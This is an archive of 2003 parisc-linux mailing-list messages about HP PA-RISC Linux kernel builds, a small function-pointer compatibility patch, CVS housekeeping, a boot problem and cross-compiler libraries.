From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6.0-test1-pa1 64bits failled to compile
Date: Sat, 19 Jul 2003 21:55:40 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <3F19BE5C.2070000@tiscali.be>
References: <3F0C24F800000FBF@ocpmta8.freegates.net> <20030719094114.GC7452@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622616 28365 80.91.229.3 (22 Nov 2014 02:16:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 19 15:39:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 401AE482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 15:39:49 -0600 (MDT)
Original-Received: from [62.235.120.41] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19dzQh-0004Rw-00; Sat, 19 Jul 2003 23:39:48 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2
X-Accept-Language: en
In-Reply-To: <20030719094114.GC7452@lug-owl.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18996

Jan-Benedict Glaw wrote:

>On Wed, 2003-07-16 18:35:44 +0200, Joel Soete <jsoe0708@tiscali.be>
>wrote in message <3F0C24F800000FBF@ocpmta8.freegates.net>:
>  
>
>>Hi all,
>>
>>This today cvs update failled to compile on my N4000-55 with this very short
>>message:
>>
>>  LD      init/built-in.o
>>  LD      .tmp_vmlinux1
>>make: *** [.tmp_vmlinux1] Error 139
>>palx4000:/usr/src/linux-2.6.0-test1-pa1# 
>>
>>Is there some tips to get more verbose make output?
>>    
>>
>
>$ make V=1 vmlinux modules
>
>MfG, JBG
>
>  
>
thanks a lot,
    Joel



From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] getting a working kernel-2.6.0-test1 with gcc > 3.2
Date: Sun, 20 Jul 2003 14:05:15 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <3F1A857B.5030104@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------050301080609020600000804"
X-Trace: ger.gmane.org 1416622616 28371 80.91.229.3 (22 Nov 2014 02:16:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 20 06:11:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 851394830
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jul 2003 06:11:50 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157024107.dialin.heagmedianet.de [213.157.24.107])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h6KCBcI7023295
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jul 2003 14:11:40 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18997

This is a multi-part message in MIME format.
--------------050301080609020600000804
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit

Hi there!

I finally found the appropriate patch to add the function 
"canonicalize_funcptr_for_compare" to the kernel. It was in 
ftp://ftp.parisc-linux.org/patches/diff-2.4.21-pa2 . A simple 
cut'n'paste to the kernel source of 2.6.0-test1 gives me a working 
kernel with gcc-3.2 on my 715/100.
I don't know whether more stuff of diff-2.4.21-pa2 could go into 2.6.0, 
so I just make a small patch of this particular problem. Can s.b. please 
check this in?
Greetings,
    Ruediger

--------------050301080609020600000804
Content-Type: text/plain;
 name="patch.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="patch.diff"

Index: linux-2.5/arch/parisc/kernel/parisc_ksyms.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/parisc_ksyms.c,v
retrieving revision 1.21
diff -u -p -r1.21 parisc_ksyms.c
--- linux-2.5/arch/parisc/kernel/parisc_ksyms.c	9 Jun 2003 02:24:25 -0000	1.21
+++ linux-2.5/arch/parisc/kernel/parisc_ksyms.c	20 Jul 2003 11:52:21 -0000
@@ -220,3 +220,6 @@ EXPORT_SYMBOL($$dyncall);

 #include <asm/pgtable.h>
 EXPORT_SYMBOL(vmalloc_start);
+
+asmlinkage void * __canonicalize_funcptr_for_compare(void *);
+EXPORT_SYMBOL_NOVERS(__canonicalize_funcptr_for_compare);

Index: linux-2.5/arch/parisc/kernel/real2.S
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/real2.S,v
retrieving revision 1.4
diff -u -p -r1.4 real2.S
--- linux-2.5/arch/parisc/kernel/real2.S	14 Jul 2003 15:21:07 -0000	1.4
+++ linux-2.5/arch/parisc/kernel/real2.S	20 Jul 2003 11:52:21 -0000
@@ -275,6 +275,7 @@ r64_ret:
 	nop

 #endif
+
 	.export pc_in_user_space
 	.text
 	/* Doesn't belong here but I couldn't find a nicer spot. */
@@ -283,3 +284,16 @@ pc_in_user_space:
 	bv,n	0(%rp)
 	nop

+	.export __canonicalize_funcptr_for_compare
+	.text
+	/* http://lists.parisc-linux.org/hypermail/parisc-linux/10916.html
+	**	GCC 3.3 and later has a new function in libgcc.a for
+	**	comparing function pointers.
+	*/
+__canonicalize_funcptr_for_compare:
+#ifdef __LP64__
+       bve (%r2)
+#else
+       bv %r0(%r2)
+#endif
+       copy %r26,%r28

--------------050301080609020600000804--



From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] old gcc and gdb in cvs?
Date: Sun, 20 Jul 2003 14:21:57 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030720202157.GA15696@dsl2.external.hp.com>
References: <20030719170719.43626.qmail@web41112.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622617 28384 80.91.229.3 (22 Nov 2014 02:16:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dara Hazeghi <dhazeghi@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 20 14:21:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 881D44830; Sun, 20 Jul 2003 14:21:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030719170719.43626.qmail@web41112.mail.yahoo.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18998

On Sat, Jul 19, 2003 at 10:07:19AM -0700, Dara Hazeghi wrote:
> Hi all,
> 
> is there a particular reason gcc, gdb, and userspace
> are still in toplevel cvs on parisc-linux.org? They
> seem a bit out of date at this point, and though
> they're not mentioned faq/cvs.html, they're clearly
> visible on cvs.parisc-linux.org. Maybe they should be
> moved to obsolete?

I'd like to do that. Any objections?

thanks,
grant


From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] old gcc and gdb in cvs?
Date: Sun, 20 Jul 2003 15:45:21 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20030720214521.GB15696@dsl2.external.hp.com>
References: <20030719170719.43626.qmail@web41112.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622617 28391 80.91.229.3 (22 Nov 2014 02:16:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dara Hazeghi <dhazeghi@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 20 15:45:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 013174830; Sun, 20 Jul 2003 15:45:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030719170719.43626.qmail@web41112.mail.yahoo.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18999

On Sat, Jul 19, 2003 at 10:07:19AM -0700, Dara Hazeghi wrote:
> is there a particular reason gcc, gdb, and userspace
> are still in toplevel cvs on parisc-linux.org?

I've moved gcc and gdb into obsolete.
"userspace" is a bunch of the tests someone might look at
to see what's worth publishing/integrating into other projects.
If someone else thinks they are not worth saving, please move
to obsolete as well.

grant


From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dara Hazeghi <dhazeghi@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] old gcc and gdb in cvs?
Date: Sun, 20 Jul 2003 19:04:53 -0700 (PDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <20030721020453.16684.qmail@web41104.mail.yahoo.com>
References: <20030720214521.GB15696@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622617 28396 80.91.229.3 (22 Nov 2014 02:16:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 20 20:04:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web41104.mail.yahoo.com (web41104.mail.yahoo.com [66.218.93.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 8B1714840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jul 2003 20:04:58 -0600 (MDT)
Original-Received: from [63.197.150.190] by web41104.mail.yahoo.com via HTTP; Sun, 20 Jul 2003 19:04:53 PDT
In-Reply-To: <20030720214521.GB15696@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19000

--- Grant Grundler <grundler@parisc-linux.org> wrote:
> On Sat, Jul 19, 2003 at 10:07:19AM -0700, Dara
> Hazeghi wrote:
> > is there a particular reason gcc, gdb, and
> userspace
> > are still in toplevel cvs on parisc-linux.org?
> 
> I've moved gcc and gdb into obsolete.

Thanks!

> "userspace" is a bunch of the tests someone might
> look at
> to see what's worth publishing/integrating into
> other projects.

Good point. I withdraw my suggestion for userspace
then. My motivation was mainly to prevent others from
accidentally downloading gcc 3.0.4 thinking that it
was the currently recommended version for hppa-linux
:-)

Dara

__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Prevent loopback traffic to be shown on the network leds
Date: Mon, 21 Jul 2003 05:32:23 +0300
Lines: 20
Approved: news@gmane.org
Message-ID: <20030721033223.222B949C21@mail.esiee.fr>
References: <20030719124216.GC1485@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622618 28399 80.91.229.3 (22 Nov 2014 02:16:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:58 +0000 (UTC)
Cc: =?iso-8859-1?q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 20 21:32:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27E824830
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jul 2003 21:32:27 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 9A0BD49C32; Mon, 21 Jul 2003 05:32:25 +0200 (CEST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id 222B949C21; Mon, 21 Jul 2003 05:32:23 +0200 (CEST)
In-Reply-To: <20030719124216.GC1485@parcelfarce.linux.theplanet.co.uk>
X-Originating-IP: [24.102.68.60]
User-Agent: IMHO/0.99 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19001

-------------------
> On Sat, Jul 19, 2003 at 01:31:41PM +0200, R=FCdiger Scholz wrote:
> > Hi,
> >=20
> > looking at the Download page from the ESIEE-Team I found the
following=20
> > patch from Thibaut. It filters the traffic from/to the loopback
device,=20
> > so network led isn't blinking when accessing the loopback device.=20
> > Should'nt it go into CVS?
>=20
> Seems like a reasonable patch to me.  I'll ask Thibaut about it when
> he gets here.
>=20

sure, go ahead ;o)

T-Bone, finally getting a (pretty wicked) internet access ;^)



From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "William J. (Bill) Van Vliet" <wjvv@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD Boot in Graphic Mode.
Date: Mon, 21 Jul 2003 15:52:03 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <20030721225204.55170.qmail@web20009.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622618 28403 80.91.229.3 (22 Nov 2014 02:16:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 21 16:52:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web20009.mail.yahoo.com (web20009.mail.yahoo.com [216.136.225.72])
	by dsl2.external.hp.com (Postfix) with SMTP id 83253482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jul 2003 16:52:08 -0600 (MDT)
Original-Received: from [64.140.6.130] by web20009.mail.yahoo.com via HTTP; Mon, 21 Jul 2003 15:52:03 PDT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19002

I am trying to install Debian cd's on a D-Server. The
system does boot up and go through the boot process.
Then it switches into graphics mode and everything
goes down the tube. I am using a serial terminal that
doesn't do graphics. Obviously very new at this. Any
help would be very appreciated.

=====
William J. (Bill) Van Vliet
Omnetrix International, Inc.

http://www.omnetrix.com

Other email: wjvv@omxi.com


From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Systems <info@wias.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 MB RAM for 3000 and 9000 seriesHP
Date: Tue, 22 Jul 2003 10:04:34 +1000
Lines: 26
Approved: news@gmane.org
Message-ID: <000901c34fe4$d6cb6ea0$c800a8c0@chris>
References: <20030721225204.55170.qmail@web20009.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622618 28404 80.91.229.3 (22 Nov 2014 02:16:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:58 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 21 18:00:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tardis.wias.net.au (colo-box8.dataline.net.au [203.46.150.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id EBE75482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jul 2003 18:00:43 -0600 (MDT)
Original-Received: from chris (nat.veridas.net [203.36.86.3])
	by tardis.wias.net.au (8.11.2/8.11.2) with SMTP id h6LNtbl10195
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jul 2003 09:55:37 +1000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19003

Sorry RISC people,

Have revisited my HP Ram collection was asked to provide serial numbers and
Ram type.

Sample serial numbers below

A56E00272649 Puerto Rico 3746
A2580-60001 64MB F-3517

70 sticks are available.

Not sure what they are worth but I am happy to Send anywhere.

I am in Brisbane Australia if you are interested they can be packed and sent
immediately

Yours

Chris Christie

1300 88 36 38
info@wias.net.au




From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: readline problem
Date: Mon, 21 Jul 2003 20:46:03 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <20030722024603.GA20537@dsl2.external.hp.com>
References: <1058795651.3081.96.camel@eb96142.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622618 28407 80.91.229.3 (22 Nov 2014 02:16:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ramesh Doddaiah <ramesh.doddaiah@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 21 20:46:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C7399482E; Mon, 21 Jul 2003 20:46:03 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1058795651.3081.96.camel@eb96142.india.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19004

On Mon, Jul 21, 2003 at 07:24:11PM +0530, Ramesh Doddaiah wrote:
> Hi Grant,
> 
>  
>    My name is Ramesh Doddaiah working in HP india in IA RAGE Project, 
> naresh who is  working in PA RAGE give me your email id.

ok

>    I had posted this problem to parisc-linux@lists.parisc-linux.org on
> 16 july, i didn't get any reply.

most of the parisc linux team has been on the road for OLS.

>    I am using Linux/i386 -> Linux/PARISC cross compiler
> (xc-latest.tar.gz from http://ftp.parisc-linux.org/x86-xcompilers/ ), 
> while compiling some piece of code which uses readline and ncurses lib
> i get this errors



> 
> /opt/palinux/lib/gcc-lib/hppa-linux/3.0.3/../../../../hppa-linux/bin/ld:
> cannot find -lreadline
> collect2: ld returned 1 exit status
> 
> 
>    I don't have readline and curses library for this version of compiler.
>    I did searched a lot to get this libraries,but i didn't get much information.
> 
>    Please tell me where can i find readline and ncurses
>    library for this version of cross compiler.
> 
>    GCC Version: 3.0.3

